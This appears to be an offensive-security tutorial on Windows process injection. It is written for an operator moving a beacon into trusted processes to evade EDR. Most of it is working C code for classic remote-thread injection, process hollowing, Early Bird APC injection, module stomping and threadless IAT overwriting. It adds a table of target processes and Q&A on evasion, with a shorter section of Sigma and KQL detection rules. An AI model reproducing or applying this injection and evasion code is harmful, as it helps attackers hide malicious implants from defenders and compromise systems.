Process Injection Techniques
Executing shellcode inside a remote process: classic OpenProcess+VirtualAllocEx+WriteProcessMemory+CreateRemoteThread, process hollowing via NtUnmapViewOfSection, APC injection, module stomping, and threadless injection for EDR bypass
Your initial-access implant runs as a standard user inside explorer.exe via a macro. EDR sees your implant's process making suspicious network connections and flags it for behavioral analysis. You want to migrate your beacon into a trusted process — spoolsv.exe or svchost.exe — that the EDR treats as a known-good system process with expected network activity. Process injection lets you execute your beacon code inside spoolsv's process space, inheriting its reputation and avoiding the network-connection alert that was triggering on your original process.
Injection Techniques Comparison
| Technique | How It Works | Detectability | Reliability |
|---|---|---|---|
| Classic VirtualAllocEx + CRT | Alloc RWX + write shellcode + CreateRemoteThread | Highest — all three APIs heavily monitored | Highest — simple, well-understood |
| Process Hollowing | Suspend new process, replace image, resume | High — NtUnmapViewOfSection is unusual | High |
| APC Injection | Queue shellcode as APC to alertable thread | Medium — QueueUserAPC is monitored | Medium — requires alertable thread |
| Module Stomping | Overwrite legitimate DLL image memory with shellcode | Medium — memory looks like a real module | Medium — DLL must be unimportant to target process |
| Threadless Injection | Overwrite function pointer; no new thread needed | Lower — no CreateThread event | Medium — target function must be called |
| NtCreateSection + MapViewOfSection | Shared section; map view in remote process | Medium — less common API pattern | High |
Classic Injection — VirtualAllocEx + WriteProcessMemory + CreateRemoteThread
// The "textbook" injection method — included for comparison; heavily detected
BOOL ClassicInject(DWORD targetPid, BYTE* shellcode, DWORD shellcodeLen) {
HANDLE hProcess = OpenProcess(
PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD,
FALSE, targetPid);
if (!hProcess) return FALSE;
LPVOID remote = VirtualAllocEx(hProcess, NULL, shellcodeLen,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remote) { CloseHandle(hProcess); return FALSE; }
DWORD written;
WriteProcessMemory(hProcess, remote, shellcode, shellcodeLen, &written);
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)remote,
NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
VirtualFreeEx(hProcess, remote, 0, MEM_RELEASE);
CloseHandle(hProcess);
return TRUE;
}
// EDR hooks: OpenProcess → PROCESS_CREATE_THREAD right + PROCESS_VM_WRITE
// VirtualAllocEx with PAGE_EXECUTE_READWRITE
// WriteProcessMemory + CreateRemoteThread sequence
// All three together = near-certain alert
Process Hollowing
// Process hollowing: create a legitimate process in suspended state,
// replace its image with our payload, resume execution
// The running process image is our code but shows as "svchost.exe" in task manager
#include <winternl.h>
typedef NTSTATUS (NTAPI *pfnNtUnmapViewOfSection)(HANDLE, PVOID);
BOOL ProcessHollow(BYTE* payloadPE, DWORD payloadSize) {
// Create legitimate process in suspended state
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = {0};
if (!CreateProcessW(NULL,
L"C:\\Windows\\System32\\svchost.exe -k netsvcs",
NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) return FALSE;
// Get image base of created process via PEB
PROCESS_BASIC_INFORMATION pbi = {0};
typedef NTSTATUS (NTAPI *pfnNtQIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
pfnNtQIP NtQIP = (pfnNtQIP)GetProcAddress(GetModuleHandleA("ntdll"),
"NtQueryInformationProcess");
NtQIP(pi.hProcess, 0/*ProcessBasicInformation*/, &pbi, sizeof(pbi), NULL);
// Read PEB to get image base address in the target process
PVOID imageBase;
ReadProcessMemory(pi.hProcess,
(LPVOID)((ULONG_PTR)pbi.PebBaseAddress + 0x10), // PEB.ImageBaseAddress
&imageBase, sizeof(imageBase), NULL);
// Unmap the legitimate svchost image from the process
pfnNtUnmapViewOfSection NtUMVOS = (pfnNtUnmapViewOfSection)
GetProcAddress(GetModuleHandleA("ntdll"), "NtUnmapViewOfSection");
NtUMVOS(pi.hProcess, imageBase);
// Parse our payload PE headers
PIMAGE_NT_HEADERS ntHdr = (PIMAGE_NT_HEADERS)(payloadPE +
((PIMAGE_DOS_HEADER)payloadPE)->e_lfanew);
DWORD sizeOfImage = ntHdr->OptionalHeader.SizeOfImage;
DWORD sizeOfHeaders = ntHdr->OptionalHeader.SizeOfHeaders;
// Allocate memory at the payload's preferred base (try first; relocate if fails)
LPVOID newBase = VirtualAllocEx(pi.hProcess,
(LPVOID)(ULONG_PTR)ntHdr->OptionalHeader.ImageBase,
sizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!newBase) {
// Preferred base taken — allocate anywhere
newBase = VirtualAllocEx(pi.hProcess, NULL, sizeOfImage,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!newBase) { TerminateProcess(pi.hProcess, 0); return FALSE; }
// TODO: apply relocations for the new base address
}
// Write PE headers
WriteProcessMemory(pi.hProcess, newBase, payloadPE, sizeOfHeaders, NULL);
// Write each section to correct virtual offset
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHdr);
for (WORD i = 0; i < ntHdr->FileHeader.NumberOfSections; i++, section++) {
LPVOID dest = (LPVOID)((ULONG_PTR)newBase + section->VirtualAddress);
LPVOID src = payloadPE + section->PointerToRawData;
WriteProcessMemory(pi.hProcess, dest, src, section->SizeOfRawData, NULL);
}
// Update PEB.ImageBaseAddress to point to our new image
WriteProcessMemory(pi.hProcess,
(LPVOID)((ULONG_PTR)pbi.PebBaseAddress + 0x10),
&newBase, sizeof(newBase), NULL);
// Set main thread entry point to our new OEP, resume
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
ctx.Rcx = (DWORD64)((ULONG_PTR)newBase + ntHdr->OptionalHeader.AddressOfEntryPoint);
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return TRUE;
}
APC Injection
// Queue User APC: insert shellcode execution as an APC to an alertable thread
// Thread must be in alertable wait (SleepEx, WaitForSingleObjectEx, etc.)
// Targeting Early Bird: new process starts in alertable state before main thread runs
BOOL APCInjectEarlyBird(BYTE* shellcode, DWORD shellcodeLen) {
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = {0};
// Create process suspended — main thread hasn't executed yet (alertable)
if (!CreateProcessW(NULL, L"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) return FALSE;
// Allocate shellcode in the new process
LPVOID remote = VirtualAllocEx(pi.hProcess, NULL, shellcodeLen,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
DWORD written;
WriteProcessMemory(pi.hProcess, remote, shellcode, shellcodeLen, &written);
// Queue APC to the main thread — fires when thread becomes alertable
// In Early Bird: the process's first alertable state runs before DllMain of most DLLs
QueueUserAPC((PAPCFUNC)remote, pi.hThread, 0);
// Resume — APC fires before main thread entry point
ResumeThread(pi.hThread);
WaitForSingleObject(pi.hProcess, 5000);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return TRUE;
}
// Alternative: inject into existing alertable thread
// Find a thread in SleepEx / WaitForSingleObjectEx state
// Risk: disturbing the thread's wait can crash the target process
Module Stomping
// Module stomping: load a legitimate, non-critical DLL,
// overwrite its .text section with shellcode
// Memory region appears to be a mapped file (legitimate module)
// Bypasses detection of anonymous RWX pages
BOOL ModuleStomping(DWORD targetPid, BYTE* shellcode, DWORD shellcodeLen) {
HANDLE hProcess = OpenProcess(
PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD |
PROCESS_QUERY_INFORMATION, FALSE, targetPid);
if (!hProcess) return FALSE;
// Force target to load a sacrificial DLL (one that isn't normally loaded)
// Use LoadLibrary injection to get xpsprint.dll loaded (Windows print spooler component)
HMODULE hK32 = GetModuleHandleA("kernel32.dll");
LPVOID pfnLL = GetProcAddress(hK32, "LoadLibraryW");
WCHAR dllPath[] = L"xpsprint.dll";
LPVOID remoteDllName = VirtualAllocEx(hProcess, NULL, sizeof(dllPath),
MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, remoteDllName, dllPath, sizeof(dllPath), NULL);
HANDLE hLoadThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pfnLL,
remoteDllName, 0, NULL);
WaitForSingleObject(hLoadThread, 3000);
CloseHandle(hLoadThread);
// Now find the loaded DLL's base address in the target process
// Walk remote process module list via EnumProcessModules / NtQueryInformationProcess
HMODULE hMods[1024]; DWORD cbNeeded;
EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded);
LPVOID dllBase = NULL;
for (DWORD i = 0; i < cbNeeded/sizeof(HMODULE); i++) {
WCHAR name[256] = {0};
GetModuleFileNameExW(hProcess, hMods[i], name, 256);
if (wcsstr(name, L"xpsprint")) { dllBase = hMods[i]; break; }
}
if (!dllBase) { CloseHandle(hProcess); return FALSE; }
// Overwrite the DLL's .text section start with our shellcode
// No VirtualAllocEx needed — we're writing into existing mapped pages
DWORD oldProt;
VirtualProtectEx(hProcess, dllBase, shellcodeLen, PAGE_EXECUTE_READWRITE, &oldProt);
WriteProcessMemory(hProcess, dllBase, shellcode, shellcodeLen, NULL);
VirtualProtectEx(hProcess, dllBase, shellcodeLen, PAGE_EXECUTE_READ, &oldProt);
// Create thread pointing to stomped DLL address (looks like normal DLL code)
HANDLE hExec = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)dllBase,
NULL, 0, NULL);
CloseHandle(hExec);
CloseHandle(hProcess);
return TRUE;
}
Threadless Injection
// Threadless injection: write shellcode but don't create a new thread
// Instead, overwrite a function pointer in an existing structure
// When the target process calls that function, our shellcode runs
// No CreateThread / CreateRemoteThread events generated
// Example: overwrite a TLS callback or a DLL export IAT entry
// More advanced: overwrite a sleep/timer callback that fires naturally
// Concept demonstration — overwrite Sleep() IAT entry in target process
BOOL ThreadlessInject(DWORD targetPid, BYTE* shellcode, DWORD shellcodeLen,
LPCSTR targetModule, LPCSTR targetFunc) {
HANDLE hProcess = OpenProcess(
PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION,
FALSE, targetPid);
if (!hProcess) return FALSE;
// Allocate shellcode in target (RX only after write)
LPVOID shellcodeBase = VirtualAllocEx(hProcess, NULL, shellcodeLen,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, shellcodeBase, shellcode, shellcodeLen, NULL);
DWORD old;
VirtualProtectEx(hProcess, shellcodeBase, shellcodeLen, PAGE_EXECUTE_READ, &old);
// Find the IAT entry for targetFunc in targetModule within the target process
// (requires walking PE IAT in remote process — abbreviated here)
LPVOID iatEntry = FindRemoteIATEntry(hProcess, targetModule, targetFunc);
if (!iatEntry) { CloseHandle(hProcess); return FALSE; }
// Overwrite IAT entry to point to our shellcode
ULONG_PTR newFuncPtr = (ULONG_PTR)shellcodeBase;
VirtualProtectEx(hProcess, iatEntry, sizeof(ULONG_PTR), PAGE_READWRITE, &old);
WriteProcessMemory(hProcess, iatEntry, &newFuncPtr, sizeof(ULONG_PTR), NULL);
VirtualProtectEx(hProcess, iatEntry, sizeof(ULONG_PTR), old, &old);
// Next time the target calls targetFunc, our shellcode runs instead
// No new thread created — the target's own execution triggers our code
// Risk: the original function is now missing — may crash the target
// Mitigation: shellcode prologue calls original function before running C2 code
CloseHandle(hProcess);
return TRUE;
}
Target Process Selection
| Target Process | Why | Risks |
|---|---|---|
| explorer.exe | Always running, has network access, user-context | Sensitive process; crash = visible; monitored by EDR |
| svchost.exe -k netsvcs | Network-calling process, expected outbound connections | Protected process light (PPL) on some Windows versions; restricted open handle access |
| spoolsv.exe | Common injection target historically; expected to run | Heavily monitored; PrintNightmare notoriety increased scrutiny |
| notepad.exe (new instance) | Easily created, low suspicion, no PPL | Unusual network connections from notepad detected by behavioral analytics |
| msedge.exe / chrome.exe | Has network connections to many domains; traffic blends | Sandboxed renderer processes restrict certain APIs; parent process integrity |
| WmiPrvSE.exe | Often spawned by WMI operations; expected execution | Spawned per-operation; short lifetime may not suit persistent beacon |
Detection Engineering
-- Sigma: Process injection detection via Sysmon
-- Sysmon Event 8: CreateRemoteThread
-- Sysmon Event 10: ProcessAccess (OpenProcess with specific rights)
title: Suspicious Remote Thread Creation
logsource:
product: windows
category: create_remote_thread
detection:
selection:
EventID: 8
filter_legitimate:
SourceImage|endswith:
- '\svchost.exe'
- '\csrss.exe'
- '\lsass.exe'
filter_same_process_name:
SourceImage: '{{TargetImage}}' # same process → not remote
condition: selection AND NOT filter_legitimate AND NOT filter_same_process_name
falsepositives: WerFault, debuggers, monitoring software
level: high
-- MDE KQL: Process hollowing detection via image base mismatch
-- Event: DeviceImageLoadEvents or DeviceProcessEvents
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("svchost.exe","notepad.exe")
| where FileName !in~ ("svchost.exe","notepad.exe") -- wrong child for parent
| project Timestamp, DeviceName, ProcessId, FileName,
InitiatingProcessFileName, InitiatingProcessParentFileName
-- VirtualQuery-based scan for injected memory:
-- Anonymous executable pages in a process = likely injected shellcode
-- Microsoft-ATA / Defender ATP: Process Hollow alert triggers on this
-- Key signals for each technique:
-- Classic injection: Sysmon 10 (OpenProcess), 8 (CreateRemoteThread)
-- Process hollowing: NtUnmapViewOfSection call + suspended process create
-- APC injection: QueueUserAPC on another process's thread
-- Module stomping: VirtualProtectEx on mapped file region to PAGE_EXECUTE_READWRITE
-- Threadless: WriteProcessMemory to IAT (rare: IAT is normally read-only)
Q&A
What is "Early Bird" APC injection and why is it harder to detect than classic APC injection?
In classic APC injection into an existing process, the attacker queues an APC to an existing thread and waits for that thread to enter an alertable state (calling SleepEx, WaitForSingleObjectEx, or similar). This is unreliable because: the thread may never enter an alertable state, and if it does, the APC fires during what should be a wait — an anomaly EDR can detect by correlating QueueUserAPC calls with subsequent unexpected code execution from unrecognized memory regions. Early Bird APC injection exploits a timing window that exists before the target process's DllMain routines run. When CreateProcess is called with CREATE_SUSPENDED, the new process is initialized enough that it has a main thread handle, but that thread is suspended before executing any code. At this exact point, the process is in an alertable state (the thread's initial entry code runs SleepEx-equivalent infrastructure to process APCs queued before start). If you queue an APC to the main thread and then call ResumeThread, the APC fires before the process's DllMain callbacks or the application's WinMain. EDRs that hook DllMain to initialize their own code miss the APC because it fires before DllMain runs — the EDR hooks haven't been installed yet. By the time the EDR's DLL is loaded, the malicious code has already executed. Detection still occurs via CreateProcess+CREATE_SUSPENDED followed by WriteProcessMemory+QueueUserAPC, but the EDR has a narrower window to intervene.
Why does module stomping evade detections that look for anonymous executable memory regions?
Most shellcode injection creates a new memory region via VirtualAllocEx — the resulting page has type MEM_PRIVATE (anonymous, not backed by a file). Tools scanning for injected code look for pages that are executable (PAGE_EXECUTE_READ or PAGE_EXECUTE_READWRITE) and MEM_PRIVATE — a region that has no associated file on disk. This catches classic injection, reflective DLL loading (which creates anonymous pages), and APC injection. Module stomping overwrites a section of a legitimately loaded module. The memory page being overwritten is MEM_MAPPED (backed by a file — the DLL file on disk). After stomping, the page contents have changed, but VirtualQuery still reports the type as MEM_MAPPED and the backing file as the legitimate DLL path. To detect module stomping, defenders need to compare memory contents to the on-disk file: hash the .text section of every loaded module from disk, then hash the same section from memory, and alert on any mismatch. This is what EDR products implementing "memory integrity checking" or "module integrity verification" do. The trade-off for the attacker: stomping the DLL breaks the DLL's functionality — if the target process actually calls any function from the stomped region, it will crash. Choose a DLL that the process doesn't use after loading (many DLLs are loaded but their exports are never called at runtime).